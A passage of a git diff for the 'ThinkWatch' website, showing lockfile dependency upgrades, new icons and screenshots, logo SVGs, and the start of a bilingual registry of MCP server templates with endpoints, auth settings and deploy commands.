1.1.3(vite@7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)) xxhash-wasm: 1.1.0 - yargs-parser: 21.1.1 - yocto-spinner: 0.2.3 - zod: 3.25.76 - zod-to-json-schema: 3.25.2(zod@3.25.76) - zod-to-ts: 1.2.0(typescript@5.9.3)(zod@3.25.76) + yargs-parser: 22.0.0 + zod: 4.3.6 optionalDependencies: sharp: 0.34.5 transitivePeerDependencies: @@ -3467,8 +3214,6 @@ snapshots: bail@2.0.2: {} - base-64@1.0.0: {} - base64-js@1.5.1: {} baseline-browser-mapping@2.10.15: {} @@ -3479,16 +3224,9 @@ snapshots: boolbase@1.0.0: {} - boxen@8.0.1: + brotli@1.3.3: dependencies: - ansi-align: 3.0.1 - camelcase: 8.0.0 - chalk: 5.6.2 - cli-boxes: 3.0.0 - string-width: 7.2.0 - type-fest: 4.41.0 - widest-line: 5.0.0 - wrap-ansi: 9.0.2 + base64-js: 1.5.1 browserslist@4.28.2: dependencies: @@ -3503,8 +3241,6 @@ snapshots: base64-js: 1.5.1 ieee754: 1.2.1 - camelcase@8.0.0: {} - camera-controls@3.1.2(three@0.183.2): dependencies: three: 0.183.2 @@ -3513,8 +3249,6 @@ snapshots: ccount@2.0.1: {} - chalk@5.6.2: {} - character-entities-html4@2.1.0: {} character-entities-legacy@3.0.0: {} @@ -3527,7 +3261,7 @@ snapshots: ci-info@4.4.0: {} - cli-boxes@3.0.0: {} + clone@2.1.2: {} clsx@2.1.1: {} @@ -3535,7 +3269,7 @@ snapshots: commander@11.1.0: {} - common-ancestor-path@1.0.1: {} + common-ancestor-path@2.0.0: {} convert-source-map@2.0.0: {} @@ -3577,8 +3311,6 @@ snapshots: css-what@6.2.2: {} - cssesc@3.0.0: {} - csso@5.0.5: dependencies: css-tree: 2.2.1 @@ -3605,16 +3337,14 @@ snapshots: detect-libc@2.1.2: {} - deterministic-object-hash@2.0.2: - dependencies: - base-64: 1.0.0 - devalue@5.6.4: {} devlop@1.1.0: dependencies: dequal: 2.0.3 + dfa@1.2.0: {} + diff@8.0.4: {} dlv@1.1.3: {} @@ -3643,10 +3373,6 @@ snapshots: electron-to-chromium@1.5.331: {} - emoji-regex@10.6.0: {} - - emoji-regex@8.0.0: {} - enhanced-resolve@5.20.1: dependencies: graceful-fs: 4.2.11 @@ -3656,36 +3382,7 @@ snapshots: entities@6.0.1: {} - es-module-lexer@1.7.0: {} - - esbuild@0.25.12: - optionalDependencies: - '@esbuild/aix-ppc64': 0.25.12 - '@esbuild/android-arm': 0.25.12 - '@esbuild/android-arm64': 0.25.12 - '@esbuild/android-x64': 0.25.12 - '@esbuild/darwin-arm64': 0.25.12 - '@esbuild/darwin-x64': 0.25.12 - '@esbuild/freebsd-arm64': 0.25.12 - '@esbuild/freebsd-x64': 0.25.12 - '@esbuild/linux-arm': 0.25.12 - '@esbuild/linux-arm64': 0.25.12 - '@esbuild/linux-ia32': 0.25.12 - '@esbuild/linux-loong64': 0.25.12 - '@esbuild/linux-mips64el': 0.25.12 - '@esbuild/linux-ppc64': 0.25.12 - '@esbuild/linux-riscv64': 0.25.12 - '@esbuild/linux-s390x': 0.25.12 - '@esbuild/linux-x64': 0.25.12 - '@esbuild/netbsd-arm64': 0.25.12 - '@esbuild/netbsd-x64': 0.25.12 - '@esbuild/openbsd-arm64': 0.25.12 - '@esbuild/openbsd-x64': 0.25.12 - '@esbuild/openharmony-arm64': 0.25.12 - '@esbuild/sunos-x64': 0.25.12 - '@esbuild/win32-arm64': 0.25.12 - '@esbuild/win32-ia32': 0.25.12 - '@esbuild/win32-x64': 0.25.12 + es-module-lexer@2.0.0: {} esbuild@0.27.7: optionalDependencies: @@ -3722,14 +3419,22 @@ snapshots: estree-walker@2.0.2: {} - estree-walker@3.0.3: - dependencies: - '@types/estree': 1.0.8 - eventemitter3@5.0.4: {} extend@3.0.2: {} + fast-deep-equal@3.1.3: {} + + fast-string-truncated-width@1.2.1: {} + + fast-string-width@1.1.0: + dependencies: + fast-string-truncated-width: 1.2.1 + + fast-wrap-ansi@0.1.6: + dependencies: + fast-string-width: 1.1.0 + fast-xml-builder@1.1.4: dependencies: path-expression-matcher: 1.2.1 @@ -3754,6 +3459,18 @@ snapshots: dependencies: fontkitten: 1.0.3 + fontkit@2.0.4: + dependencies: + '@swc/helpers': 0.5.23 + brotli: 1.3.3 + clone: 2.1.2 + dfa: 1.2.0 + fast-deep-equal: 3.1.3 + restructure: 3.0.2 + tiny-inflate: 1.0.3 + unicode-properties: 1.4.1 + unicode-trie: 2.0.0 + fontkitten@1.0.3: dependencies: tiny-inflate: 1.0.3 @@ -3763,8 +3480,6 @@ snapshots: gensync@1.0.0-beta.2: {} - get-east-asian-width@1.5.0: {} - github-slugger@2.0.0: {} glsl-noise@0.0.0: {} @@ -3803,6 +3518,10 @@ snapshots: vfile-location: 5.0.3 web-namespaces: 2.0.1 + hast-util-heading-rank@3.0.0: + dependencies: + '@types/hast': 3.0.4 + hast-util-is-element@3.0.0: dependencies: '@types/hast': 3.0.4 @@ -3851,6 +3570,10 @@ snapshots: web-namespaces: 2.0.1 zwitch: 2.0.4 + hast-util-to-string@3.0.1: + dependencies: + '@types/hast': 3.0.4 + hast-util-to-text@4.0.2: dependencies: '@types/hast': 3.0.4 @@ -3882,14 +3605,10 @@ snapshots: immediate@3.0.6: {} - import-meta-resolve@4.2.0: {} - iron-webcrypto@1.2.1: {} is-docker@3.0.0: {} - is-fullwidth-code-point@3.0.0: {} - is-inside-container@1.0.0: dependencies: is-docker: 3.0.0 @@ -3923,8 +3642,6 @@ snapshots: json5@2.2.3: {} - kleur@3.0.3: {} - lie@3.3.0: dependencies: immediate: 3.0.6 @@ -4348,6 +4065,8 @@ snapshots: dependencies: boolbase: 1.0.0 + obug@2.1.1: {} + ofetch@1.5.1: dependencies: destr: 2.0.5 @@ -4364,19 +4083,31 @@ snapshots: regex: 6.1.0 regex-recursion: 6.0.2 - p-limit@6.2.0: + p-limit@7.3.0: dependencies: yocto-queue: 1.2.2 - p-queue@8.1.1: + p-queue@9.1.1: dependencies: eventemitter3: 5.0.4 - p-timeout: 6.1.4 + p-timeout: 7.0.1 - p-timeout@6.1.4: {} + p-timeout@7.0.1: {} package-manager-detector@1.6.0: {} + pagefind@1.5.0: + optionalDependencies: + '@pagefind/darwin-arm64': 1.5.0 + '@pagefind/darwin-x64': 1.5.0 + '@pagefind/freebsd-x64': 1.5.0 + '@pagefind/linux-arm64': 1.5.0 + '@pagefind/linux-x64': 1.5.0 + '@pagefind/windows-arm64': 1.5.0 + '@pagefind/windows-x64': 1.5.0 + + pako@0.2.9: {} + parse-latin@7.0.0: dependencies: '@types/nlcst': 2.0.3 @@ -4417,11 +4148,6 @@ snapshots: is-promise: 2.2.2 lie: 3.3.0 - prompts@2.4.2: - dependencies: - kleur: 3.0.3 - sisteransi: 1.0.5 - property-information@7.1.0: {} radix3@1.1.2: {} @@ -4431,7 +4157,7 @@ snapshots: react: 19.2.4 scheduler: 0.27.0 - react-refresh@0.17.0: {} + react-refresh@0.18.0: {} react-use-measure@2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4): dependencies: @@ -4453,6 +4179,15 @@ snapshots: dependencies: regex-utilities: 2.3.0 + rehype-autolink-headings@7.1.0: + dependencies: + '@types/hast': 3.0.4 + '@ungap/structured-clone': 1.3.0 + hast-util-heading-rank: 3.0.0 + hast-util-is-element: 3.0.0 + unified: 11.0.5 + unist-util-visit: 5.1.0 + rehype-parse@9.0.1: dependencies: '@types/hast': 3.0.4 @@ -4465,6 +4200,14 @@ snapshots: hast-util-raw: 9.1.0 vfile: 6.0.3 + rehype-slug@6.0.0: + dependencies: + '@types/hast': 3.0.4 + github-slugger: 2.0.0 + hast-util-heading-rank: 3.0.0 + hast-util-to-string: 3.0.1 + unist-util-visit: 5.1.0 + rehype-stringify@10.0.1: dependencies: '@types/hast': 3.0.4 @@ -4521,6 +4264,8 @@ snapshots: require-from-string@2.0.2: {} + restructure@3.0.2: {} + retext-latin@4.0.0: dependencies: '@types/nlcst': 2.0.3 @@ -4622,17 +4367,6 @@ snapshots: shebang-regex@3.0.0: {} - shiki@3.23.0: - dependencies: - '@shikijs/core': 3.23.0 - '@shikijs/engine-javascript': 3.23.0 - '@shikijs/engine-oniguruma': 3.23.0 - '@shikijs/langs': 3.23.0 - '@shikijs/themes': 3.23.0 - '@shikijs/types': 3.23.0 - '@shikijs/vscode-textmate': 10.0.2 - '@types/hast': 3.0.4 - shiki@4.0.2: dependencies: '@shikijs/core': 4.0.2 @@ -4668,31 +4402,11 @@ snapshots: stream-replace-string@2.0.0: {} - string-width@4.2.3: - dependencies: - emoji-regex: 8.0.0 - is-fullwidth-code-point: 3.0.0 - strip-ansi: 6.0.1 - - string-width@7.2.0: - dependencies: - emoji-regex: 10.6.0 - get-east-asian-width: 1.5.0 - strip-ansi: 7.2.0 - stringify-entities@4.0.4: dependencies: character-entities-html4: 2.1.0 character-entities-legacy: 3.0.0 - strip-ansi@6.0.1: - dependencies: - ansi-regex: 5.0.1 - - strip-ansi@7.2.0: - dependencies: - ansi-regex: 6.2.2 - strnum@2.2.2: {} suspend-react@0.1.3(react@19.2.4): @@ -4731,6 +4445,8 @@ snapshots: tiny-inflate@1.0.3: {} + tinyclip@0.1.12: {} + tinyexec@1.0.4: {} tinyglobby@0.2.15: @@ -4760,8 +4476,7 @@ snapshots: optionalDependencies: typescript: 5.9.3 - tslib@2.8.1: - optional: true + tslib@2.8.1: {} tunnel-rat@0.1.2(@types/react@19.2.14)(react@19.2.4): dependencies: @@ -4771,8 +4486,6 @@ snapshots: - immer - react - type-fest@4.41.0: {} - typescript@5.9.3: {} ufo@1.6.3: {} @@ -4783,6 +4496,16 @@ snapshots: undici-types@7.16.0: {} + unicode-properties@1.4.1: + dependencies: + base64-js: 1.5.1 + unicode-trie: 2.0.0 + + unicode-trie@2.0.0: + dependencies: + pako: 0.2.9 + tiny-inflate: 1.0.3 + unified@11.0.5: dependencies: '@types/unist': 3.0.3 @@ -4879,9 +4602,9 @@ snapshots: '@types/unist': 3.0.3 vfile-message: 4.0.3 - vite@6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0): + vite@7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0): dependencies: - esbuild: 0.25.12 + esbuild: 0.27.7 fdir: 6.5.0(picomatch@4.0.4) picomatch: 4.0.4 postcss: 8.5.8 @@ -4893,9 +4616,9 @@ snapshots: jiti: 2.6.1 lightningcss: 1.32.0 - vitefu@1.1.3(vite@6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)): + vitefu@1.1.3(vite@7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)): optionalDependencies: - vite: 6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) + vite: 7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0) web-namespaces@2.0.1: {} @@ -4909,41 +4632,14 @@ snapshots: dependencies: isexe: 2.0.0 - widest-line@5.0.0: - dependencies: - string-width: 7.2.0 - - wrap-ansi@9.0.2: - dependencies: - ansi-styles: 6.2.3 - string-width: 7.2.0 - strip-ansi: 7.2.0 - xxhash-wasm@1.1.0: {} yallist@3.1.1: {} - yargs-parser@21.1.1: {} + yargs-parser@22.0.0: {} yocto-queue@1.2.2: {} - yocto-spinner@0.2.3: - dependencies: - yoctocolors: 2.1.2 - - yoctocolors@2.1.2: {} - - zod-to-json-schema@3.25.2(zod@3.25.76): - dependencies: - zod: 3.25.76 - - zod-to-ts@1.2.0(typescript@5.9.3)(zod@3.25.76): - dependencies: - typescript: 5.9.3 - zod: 3.25.76 - - zod@3.25.76: {} - zod@4.3.6: {} zustand@4.5.7(@types/react@19.2.14)(react@19.2.4): diff --git a/public/apple-touch-icon.png b/public/apple-touch-icon.png index 6160924..bdfcf75 100644 Binary files a/public/apple-touch-icon.png and b/public/apple-touch-icon.png differ diff --git a/public/f7c3fcca3acfc15fb46eca5e1fbde518.txt b/public/f7c3fcca3acfc15fb46eca5e1fbde518.txt new file mode 100644 index 0000000..3b08d01 --- /dev/null +++ b/public/f7c3fcca3acfc15fb46eca5e1fbde518.txt @@ -0,0 +1 @@ +f7c3fcca3acfc15fb46eca5e1fbde518 diff --git a/public/favicon-16x16.png b/public/favicon-16x16.png index d0b34a2..0533f39 100644 Binary files a/public/favicon-16x16.png and b/public/favicon-16x16.png differ diff --git a/public/favicon-32x32.png b/public/favicon-32x32.png index 6beec13..a791b65 100644 Binary files a/public/favicon-32x32.png and b/public/favicon-32x32.png differ diff --git a/public/favicon.ico b/public/favicon.ico index 5972414..562e86d 100644 Binary files a/public/favicon.ico and b/public/favicon.ico differ diff --git a/public/favicon.svg b/public/favicon.svg index ef31472..c7a99c8 100644 --- a/public/favicon.svg +++ b/public/favicon.svg @@ -1,10 +1,16 @@ - + - - - + + + + + + + - - + + + + diff --git a/public/icon.svg b/public/icon.svg new file mode 100644 index 0000000..fcd0200 --- /dev/null +++ b/public/icon.svg @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + diff --git a/public/lite/clients-en.webp b/public/lite/clients-en.webp new file mode 100644 index 0000000..82f5fa7 Binary files /dev/null and b/public/lite/clients-en.webp differ diff --git a/public/lite/clients.webp b/public/lite/clients.webp new file mode 100644 index 0000000..1764886 Binary files /dev/null and b/public/lite/clients.webp differ diff --git a/public/lite/dry-run-en.webp b/public/lite/dry-run-en.webp new file mode 100644 index 0000000..99de9c0 Binary files /dev/null and b/public/lite/dry-run-en.webp differ diff --git a/public/lite/dry-run.webp b/public/lite/dry-run.webp new file mode 100644 index 0000000..e6fa70c Binary files /dev/null and b/public/lite/dry-run.webp differ diff --git a/public/lite/keys-en.webp b/public/lite/keys-en.webp new file mode 100644 index 0000000..520fa6c Binary files /dev/null and b/public/lite/keys-en.webp differ diff --git a/public/lite/keys.webp b/public/lite/keys.webp new file mode 100644 index 0000000..fa83ea6 Binary files /dev/null and b/public/lite/keys.webp differ diff --git a/public/lite/mcp-en.webp b/public/lite/mcp-en.webp new file mode 100644 index 0000000..9326dbd Binary files /dev/null and b/public/lite/mcp-en.webp differ diff --git a/public/lite/mcp.webp b/public/lite/mcp.webp new file mode 100644 index 0000000..fbf6b09 Binary files /dev/null and b/public/lite/mcp.webp differ diff --git a/public/lite/menubar-menu-en.webp b/public/lite/menubar-menu-en.webp new file mode 100644 index 0000000..2844e37 Binary files /dev/null and b/public/lite/menubar-menu-en.webp differ diff --git a/public/lite/menubar-menu.webp b/public/lite/menubar-menu.webp new file mode 100644 index 0000000..b53655e Binary files /dev/null and b/public/lite/menubar-menu.webp differ diff --git a/public/lite/menubar.png b/public/lite/menubar.png new file mode 100644 index 0000000..093f4eb Binary files /dev/null and b/public/lite/menubar.png differ diff --git a/public/lite/overview-en.webp b/public/lite/overview-en.webp new file mode 100644 index 0000000..5fb7ae0 Binary files /dev/null and b/public/lite/overview-en.webp differ diff --git a/public/lite/overview.webp b/public/lite/overview.webp new file mode 100644 index 0000000..695f634 Binary files /dev/null and b/public/lite/overview.webp differ diff --git a/public/lite/remote-add-en.webp b/public/lite/remote-add-en.webp new file mode 100644 index 0000000..3cb29eb Binary files /dev/null and b/public/lite/remote-add-en.webp differ diff --git a/public/lite/remote-add.webp b/public/lite/remote-add.webp new file mode 100644 index 0000000..d037aff Binary files /dev/null and b/public/lite/remote-add.webp differ diff --git a/public/lite/remote-clients-en.webp b/public/lite/remote-clients-en.webp new file mode 100644 index 0000000..776cf65 Binary files /dev/null and b/public/lite/remote-clients-en.webp differ diff --git a/public/lite/remote-clients.webp b/public/lite/remote-clients.webp new file mode 100644 index 0000000..592f0b8 Binary files /dev/null and b/public/lite/remote-clients.webp differ diff --git a/public/lite/remote-switcher-en.webp b/public/lite/remote-switcher-en.webp new file mode 100644 index 0000000..b0756d6 Binary files /dev/null and b/public/lite/remote-switcher-en.webp differ diff --git a/public/lite/remote-switcher.webp b/public/lite/remote-switcher.webp new file mode 100644 index 0000000..f45be9e Binary files /dev/null and b/public/lite/remote-switcher.webp differ diff --git a/public/lite/routing-en.webp b/public/lite/routing-en.webp new file mode 100644 index 0000000..bc78805 Binary files /dev/null and b/public/lite/routing-en.webp differ diff --git a/public/lite/routing.webp b/public/lite/routing.webp new file mode 100644 index 0000000..2b602c4 Binary files /dev/null and b/public/lite/routing.webp differ diff --git a/public/lite/security-en.webp b/public/lite/security-en.webp new file mode 100644 index 0000000..0c23e8b Binary files /dev/null and b/public/lite/security-en.webp differ diff --git a/public/lite/security.webp b/public/lite/security.webp new file mode 100644 index 0000000..b29e79a Binary files /dev/null and b/public/lite/security.webp differ diff --git a/public/lite/settings-en.webp b/public/lite/settings-en.webp new file mode 100644 index 0000000..81a67d0 Binary files /dev/null and b/public/lite/settings-en.webp differ diff --git a/public/lite/settings.webp b/public/lite/settings.webp new file mode 100644 index 0000000..1090447 Binary files /dev/null and b/public/lite/settings.webp differ diff --git a/public/lite/traffic-en.webp b/public/lite/traffic-en.webp new file mode 100644 index 0000000..1d8ebbd Binary files /dev/null and b/public/lite/traffic-en.webp differ diff --git a/public/lite/traffic.webp b/public/lite/traffic.webp new file mode 100644 index 0000000..7c00192 Binary files /dev/null and b/public/lite/traffic.webp differ diff --git a/public/lite/upstreams-en.webp b/public/lite/upstreams-en.webp new file mode 100644 index 0000000..d3a1724 Binary files /dev/null and b/public/lite/upstreams-en.webp differ diff --git a/public/lite/upstreams.webp b/public/lite/upstreams.webp new file mode 100644 index 0000000..0692c91 Binary files /dev/null and b/public/lite/upstreams.webp differ diff --git a/public/logo-dark.svg b/public/logo-dark.svg new file mode 100644 index 0000000..a092aaf --- /dev/null +++ b/public/logo-dark.svg @@ -0,0 +1,19 @@ + + + + + + + + + + + + ThinkWatch + + diff --git a/public/logo.svg b/public/logo.svg new file mode 100644 index 0000000..99786fe --- /dev/null +++ b/public/logo.svg @@ -0,0 +1,19 @@ + + + + + + + + + + + + ThinkWatch + + diff --git a/public/og-image.png b/public/og-image.png deleted file mode 100644 index 40e9bdb..0000000 Binary files a/public/og-image.png and /dev/null differ diff --git a/public/registry/mcp-templates.json b/public/registry/mcp-templates.json new file mode 100644 index 0000000..754d6c1 --- /dev/null +++ b/public/registry/mcp-templates.json @@ -0,0 +1,882 @@ +{ + "version": 2, + "updated_at": "2026-05-13T12:00:00Z", + "templates": [ + { + "slug": "github", + "name": "GitHub", + "description": { + "en": "Manage repositories, issues, pull requests, and code search", + "zh": "管理仓库、Issue、Pull Request 和代码搜索" + }, + "category": "developer", + "tags": [ + "git", + "code", + "vcs" + ], + "endpoint_template": "https://api.githubcopilot.com/mcp/", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://github.com/settings/tokens", + "auth_instructions": { + "en": "Go to GitHub → Settings → Developer settings → Personal access tokens → Generate new token", + "zh": "前往 GitHub → Settings → Developer settings → Personal access tokens → 生成新 Token" + }, + "deploy_type": "hosted", + "featured": true + }, + { + "slug": "gitlab", + "name": "GitLab", + "description": { + "en": "Manage projects, merge requests, and CI/CD pipelines", + "zh": "管理项目、合并请求和 CI/CD 流水线" + }, + "category": "developer", + "tags": [ + "git", + "code", + "cicd" + ], + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://gitlab.com/-/profile/personal_access_tokens", + "auth_instructions": { + "en": "Go to GitLab → Preferences → Access Tokens → Create personal access token", + "zh": "前往 GitLab → Preferences → Access Tokens → 创建个人访问令牌" + }, + "deploy_type": "manual", + "featured": false + }, + { + "slug": "linear", + "name": "Linear", + "description": { + "en": "Project management — issues, projects, and cycles", + "zh": "项目管理 — Issue、项目和迭代周期" + }, + "category": "developer", + "tags": [ + "project", + "agile" + ], + "endpoint_template": "https://mcp.linear.app/sse", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://linear.app/settings/api", + "auth_instructions": { + "en": "Go to Linear → Settings → API → Create personal API key", + "zh": "前往 Linear → Settings → API → 创建个人 API Key" + }, + "deploy_type": "hosted", + "featured": false + }, + { + "slug": "linear-oauth", + "name": "Linear (OAuth)", + "description": { + "en": "Linear via OAuth flow — for org SSO workspaces", + "zh": "Linear OAuth 流程 — 适用于企业 SSO 工作区" + }, + "category": "developer", + "tags": [ + "project", + "agile", + "oauth" + ], + "endpoint_template": "https://mcp.linear.app/sse", + "auth_type": "oauth", + "auth_shape": "oauth", + "oauth_issuer": "https://linear.app", + "oauth_authorization_endpoint": "https://linear.app/oauth/authorize", + "oauth_token_endpoint": "https://api.linear.app/oauth/token", + "oauth_default_scopes": [ + "read" + ], + "auth_instructions": { + "en": "Register an OAuth application at https://linear.app/settings/api/applications and paste client ID/secret on install", + "zh": "在 https://linear.app/settings/api/applications 注册 OAuth 应用,安装时粘贴 client ID 和 secret" + }, + "deploy_type": "hosted", + "featured": false + }, + { + "slug": "atlassian", + "name": "Atlassian (Jira + Confluence)", + "description": { + "en": "Manage Jira issues, sprints, project boards, and Confluence pages — one OAuth MCP for the whole suite", + "zh": "管理 Jira Issue、Sprint、项目看板和 Confluence 页面 — 一个 OAuth MCP 覆盖整套" + }, + "category": "developer", + "tags": [ + "project", + "agile", + "atlassian", + "wiki" + ], + "endpoint_template": "https://mcp.atlassian.com/v1/mcp", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize Atlassian via OAuth. Requires admin consent for the workspace.", + "zh": "点击安装 → 通过 OAuth 授权 Atlassian。需要工作区管理员同意。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://www.atlassian.com/blog/announcements/remote-mcp-server", + "featured": true + }, + { + "slug": "sentry", + "name": "Sentry", + "description": { + "en": "Error tracking and performance monitoring — issues, events, releases", + "zh": "错误追踪和性能监控 — Issue、事件、发布" + }, + "category": "developer", + "tags": [ + "monitoring", + "errors" + ], + "endpoint_template": "https://mcp.sentry.dev/mcp", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize Sentry via OAuth.", + "zh": "点击安装 → 通过 OAuth 授权 Sentry。" + }, + "deploy_type": "hosted", + "featured": false + }, + { + "slug": "clerk", + "name": "Clerk", + "description": { + "en": "Manage users, sessions, and authentication settings", + "zh": "管理用户、会话和认证设置" + }, + "category": "developer", + "tags": [ + "auth", + "users", + "saas" + ], + "endpoint_template": "https://mcp.clerk.com", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://dashboard.clerk.com/last-active?path=api-keys", + "auth_instructions": { + "en": "Create a Clerk secret key in the dashboard and paste it.", + "zh": "在 Clerk 控制台创建 secret key 并粘贴。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://clerk.com/docs/integrations/mcp", + "featured": false + }, + { + "slug": "notion", + "name": "Notion", + "description": { + "en": "Read and write Notion pages, databases, and blocks", + "zh": "读写 Notion 页面、数据库和区块" + }, + "category": "productivity", + "tags": [ + "notes", + "wiki", + "docs" + ], + "endpoint_template": "https://mcp.notion.com/sse", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://www.notion.so/my-integrations", + "auth_instructions": { + "en": "Go to Notion → Settings → My connections → Develop or manage integrations → Create new integration", + "zh": "前往 Notion → Settings → My connections → 开发或管理集成 → 创建新集成" + }, + "deploy_type": "hosted", + "featured": false + }, + { + "slug": "google-drive", + "name": "Google Drive", + "description": { + "en": "Search, read, and manage files in Google Drive", + "zh": "搜索、读取和管理 Google Drive 文件" + }, + "category": "productivity", + "tags": [ + "files", + "google", + "storage" + ], + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://console.cloud.google.com/apis/credentials", + "auth_instructions": { + "en": "Create a Google Cloud OAuth2 credential and authorize Drive access", + "zh": "创建 Google Cloud OAuth2 凭证并授权 Drive 访问" + }, + "deploy_type": "manual", + "featured": false + }, + { + "slug": "stripe", + "name": "Stripe", + "description": { + "en": "Payments — charges, customers, invoices, and subscriptions", + "zh": "支付 — 收款、客户、发票和订阅" + }, + "category": "productivity", + "tags": [ + "payments", + "billing" + ], + "endpoint_template": "https://mcp.stripe.com", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://dashboard.stripe.com/apikeys", + "auth_instructions": { + "en": "Create a restricted API key in the Stripe dashboard. Read-only keys are recommended for most agent use cases.", + "zh": "在 Stripe 控制台创建受限 API Key。对大多数 Agent 场景推荐使用只读 Key。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://docs.stripe.com/mcp", + "featured": true + }, + { + "slug": "paypal", + "name": "PayPal", + "description": { + "en": "Payments, invoicing, disputes, and B2B operations", + "zh": "支付、发票、争议和 B2B 业务" + }, + "category": "productivity", + "tags": [ + "payments", + "billing" + ], + "endpoint_template": "https://mcp.paypal.com/mcp", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize PayPal via OAuth.", + "zh": "点击安装 → 通过 OAuth 授权 PayPal。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://developer.paypal.com/community/blog/paypal-mcp/", + "featured": false + }, + { + "slug": "square", + "name": "Square", + "description": { + "en": "POS payments, orders, catalog, and customers", + "zh": "POS 支付、订单、目录和客户" + }, + "category": "productivity", + "tags": [ + "payments", + "pos", + "commerce" + ], + "endpoint_template": "https://mcp.squareup.com/sse", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize Square via OAuth.", + "zh": "点击安装 → 通过 OAuth 授权 Square。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://developer.squareup.com/docs/mcp", + "featured": false + }, + { + "slug": "plaid", + "name": "Plaid", + "description": { + "en": "Banking data — accounts, transactions, balances (per-user audit critical)", + "zh": "银行数据 — 账户、交易、余额(强烈建议按用户审计)" + }, + "category": "productivity", + "tags": [ + "banking", + "finance", + "payments" + ], + "endpoint_template": "https://api.dashboard.plaid.com/mcp/sse", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize via Plaid dashboard OAuth.", + "zh": "点击安装 → 通过 Plaid 控制台 OAuth 授权。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://plaid.com/docs/mcp/", + "featured": false + }, + { + "slug": "asana", + "name": "Asana", + "description": { + "en": "Tasks, projects, and team workload", + "zh": "任务、项目和团队工作量" + }, + "category": "productivity", + "tags": [ + "project", + "tasks", + "collaboration" + ], + "endpoint_template": "https://mcp.asana.com/sse", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize Asana via OAuth.", + "zh": "点击安装 → 通过 OAuth 授权 Asana。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://developers.asana.com/docs/mcp", + "featured": false + }, + { + "slug": "webflow", + "name": "Webflow", + "description": { + "en": "CMS items, site publishing, and SEO operations", + "zh": "CMS 内容、站点发布和 SEO 操作" + }, + "category": "productivity", + "tags": [ + "cms", + "web", + "design" + ], + "endpoint_template": "https://mcp.webflow.com/sse", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize Webflow via OAuth.", + "zh": "点击安装 → 通过 OAuth 授权 Webflow。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://developers.webflow.com/data/docs/mcp", + "featured": false + }, + { + "slug": "postgresql", + "name": "PostgreSQL", + "description": { + "en": "Query databases, browse schemas, and manage tables (self-deploy as HTTP MCP for team audit)", + "zh": "查询数据库、浏览 Schema、管理表(自部署为 HTTP MCP 以获得团队审计)" + }, + "category": "database", + "tags": [ + "sql", + "relational" + ], + "auth_type": "none", + "auth_shape": "anonymous", + "auth_instructions": { + "en": "Deploy the PostgreSQL MCP and wrap with supergateway to expose HTTP — the gateway only proxies streamable_http/sse", + "zh": "部署 PostgreSQL MCP,并用 supergateway 包装暴露 HTTP — 网关只代理 streamable_http/sse" + }, + "deploy_type": "docker", + "deploy_command": "npx -y @modelcontextprotocol/server-postgres postgres://USER:PASS@HOST:5432/DB", + "deploy_docs_url": "https://github.com/modelcontextprotocol/servers/tree/main/src/postgres", + "featured": false + }, + { + "slug": "mysql", + "name": "MySQL", + "description": { + "en": "Query databases, browse schemas, and manage tables (self-deploy as HTTP MCP)", + "zh": "查询数据库、浏览 Schema、管理表(自部署为 HTTP MCP)" + }, + "category": "database", + "tags": [ + "sql", + "relational" + ], + "auth_type": "none", + "auth_shape": "anonymous", + "auth_instructions": { + "en": "Deploy the MySQL MCP and wrap with supergateway to expose HTTP", + "zh": "部署 MySQL MCP 并用 supergateway 包装暴露 HTTP" + }, + "deploy_type": "docker", + "deploy_command": "npx -y @benborla29/mcp-server-mysql", + "deploy_docs_url": "https://github.com/benborla/mcp-server-mysql", + "featured": false + }, + { + "slug": "redis", + "name": "Redis", + "description": { + "en": "Key-value operations, pub/sub, and data inspection (self-deploy as HTTP MCP)", + "zh": "键值操作、发布订阅、数据检查(自部署为 HTTP MCP)" + }, + "category": "database", + "tags": [ + "cache", + "nosql" + ], + "auth_type": "none", + "auth_shape": "anonymous", + "auth_instructions": { + "en": "Deploy the Redis MCP and wrap with supergateway to expose HTTP", + "zh": "部署 Redis MCP 并用 supergateway 包装暴露 HTTP" + }, + "deploy_type": "docker", + "deploy_command": "npx -y @modelcontextprotocol/server-redis redis://HOST:6379", + "deploy_docs_url": "https://github.com/modelcontextprotocol/servers/tree/main/src/redis", + "featured": false + }, + { + "slug": "mongodb", + "name": "MongoDB (Self-host)", + "description": { + "en": "Self-hosted MongoDB — document operations, aggregation, collection management. Prefer mongodb-atlas if you're on Atlas", + "zh": "自托管 MongoDB — 